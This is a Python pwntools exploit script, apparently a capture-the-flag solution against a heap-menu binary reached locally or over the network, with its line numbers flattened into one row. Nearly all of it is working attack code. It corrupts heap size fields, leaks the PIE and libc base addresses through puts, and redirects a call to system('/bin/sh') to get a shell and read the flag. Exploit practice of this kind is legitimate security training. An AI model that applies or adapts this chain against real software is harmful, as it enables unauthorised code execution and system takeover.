1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' EXE = './main'
def payload(lo: int, host: str='', port: int=0) -> int: if lo: t = process(EXE) if lo & 2: gdb.attach(t) else: t = remote(host, port) elf = ELF(EXE) libc = elf.libc
line = t.recvline() if b'Blocked' in line: t.close() return 4 t.unrecv(line)
def create(idx: int, sz: int, buf: bytes): t.sendlineafter(b'enter option', b'0') t.sendlineafter(b'index', str(idx).encode()) t.sendlineafter(b'read len', str(sz).encode()) t.sendafter(b'content', buf)
def reader(idx: int, fetch: bool=True) -> bytes: t.sendlineafter(b'enter option', b'2') t.sendlineafter(b'index', str(idx).encode()) if fetch: t.recvuntil(b'content:\n') return t.recvuntil(b'options:', drop=True)
def edit(idx: int, buf: bytes): t.sendlineafter(b'enter option', b'3') t.sendlineafter(b'index', str(idx).encode()) t.sendafter(b'content', buf)
LOOP = 24 SMALL = 1 << 63 for i in range(LOOP): create(i, 0x20, b'a') for i in range(LOOP, 2 * LOOP): create(i, 0x100, b'a') for i in range(LOOP): edit(i, p64(SMALL | 0x20).rjust(0x100))
for i in range(LOOP, 2 * LOOP): buf = reader(i) if buf[1:4] != b'\0' * 3: break else: t.close() return 1
pie_base = u64(buf[8:16]) - 0x1220 elf.address = pie_base success(GOLD_TEXT(f'Leak pie_base @ LARGE {i:2d}: {pie_base:#x}'))
edit(i, flat(elf.got['puts'], elf.plt['puts'])) create(3 * LOOP, 0x120, b'a')
for k in range(LOOP): edit(k, p64(0x100).rjust(0x100)) buf = reader(i) if len(buf) == 0: return 2 if buf[6] == 10: break
libc_base = u64(buf[:6] + b'\0\0') - libc.symbols['puts'] success(GOLD_TEXT(f'Leak libc_base @ SMALL {k:2d}: {libc_base:#x}')) libc.address = libc_base
create(256, 0x120, b'a') edit(k, b'a'*0xf8 + flat(0x200, next(libc.search(b'/bin/sh')), libc.symbols['system'])) reader(i, False)
t.sendline(b'cat flag') t.recvuntil(b'flag{') flag = b'flag{' + t.recvuntil(b'}') success(f'Flag is: {flag.decode()}')
t.close() return 0
|